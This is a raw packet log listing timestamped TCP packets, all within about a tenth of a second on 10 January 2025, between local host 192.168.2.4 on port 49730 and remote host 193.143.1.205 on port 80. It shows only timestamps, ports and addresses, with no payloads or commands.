Jan 10, 2025 23:18:04.181742907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181782961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181833982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181844950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181855917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181868076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181874037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181880951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181894064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181914091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181952953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.183100939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183111906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183120966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183131933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183145046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183155060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183166981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183175087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.183218956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.183238983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183248997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183259964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183269978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183280945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183283091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.183295012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.183320999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.183341980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.184326887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185184956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185343027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185353041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185363054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185374022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185385942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185386896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185399055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185410976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185421944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185424089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185434103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185446024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185456038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185467958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185475111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185487986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185503960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185504913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185519934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185529947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185530901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185543060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185554028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185564995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185575962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185620070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.185921907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185933113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185945034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.185991049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186069965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186079979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186089993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186113119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186136007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186247110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186258078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186268091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186280012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186290979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186299086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186302900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186326981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186362982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186424971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186758041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186768055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186799049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.186939001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186952114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186963081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186975002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.186985970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.187006950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.187063932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187144041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.187164068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187175989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187206984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.187350988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187362909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187374115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187385082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.187400103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.187431097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188131094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188137054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188143015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188153982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188164949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188175917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188179016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188188076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188203096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188211918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188237906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188271046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188282967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188293934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188304901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188312054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188317060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188329935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188354969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188381910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188391924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188401937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188414097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188424110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188424110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188437939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188450098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188461065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188467026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188493013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188499928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188541889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188565969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188576937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188587904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188597918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188611984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.188972950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188983917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188993931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.188997984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189007044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189022064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189023018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189035892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189048052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189055920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189080954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189101934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189112902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189147949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189169884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189181089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189192057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189203978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.189212084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.189253092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.191521883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191531897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191543102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191553116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191562891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191575050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191610098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.191646099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.191657066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.191703081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192011118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192020893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192030907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192040920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192054987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192063093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192116976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192152023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192162037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192190886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192476034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192486048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192496061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192506075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192517042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192523956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192528009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192574024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192617893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192629099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192639112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192650080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192660093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192671061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192707062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192768097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192778111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192789078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192800999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192811012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192812920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192823887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192833900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192843914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192846060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192857981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192868948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.192877054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.192909956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193239927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193249941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193262100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193289995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193439007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193449974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193459988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193470955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193478107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193485022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193496943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193510056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193557978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193567991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193579912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193589926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193600893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.193608046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.193634987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194351912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194361925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194397926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194464922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194525003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194663048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194674015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194684982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194696903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194708109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194709063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194721937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194732904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194761038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194809914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194820881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194832087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194843054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194849968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194856882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194869041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194880009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194880962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.194956064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.194958925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.195113897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195125103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195136070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195147038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195159912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.195193052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.195239067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195250034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195260048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195271015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.195282936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.195319891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.198734045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.198790073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.198920965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.198932886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.198945045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.198987007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.199064970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.199076891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.199089050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.199107885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.199132919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.236629963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236654043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236699104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.236709118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236748934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236761093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236785889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.236843109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236855030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236881018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.236898899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236912012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.236936092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237030983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237041950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237054110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237066031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237071991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237078905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237098932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237126112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237348080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237360001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237370968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237381935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237395048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237405062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237405062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237417936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237430096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237432957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237461090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237483978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237591982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237602949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237665892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237735987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237747908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237759113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237770081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237781048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237787962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237787962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237795115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237806082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237819910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237831116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237835884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237844944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.237864017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.237889051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.271737099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277187109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277196884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277206898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277219057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277230978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277254105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277287006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277311087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277323008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277333975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277343035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277384043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277496099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277506113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277517080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277528048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277568102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277625084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277636051 CET	80	49730	193.143.1.205	192.168.2.4
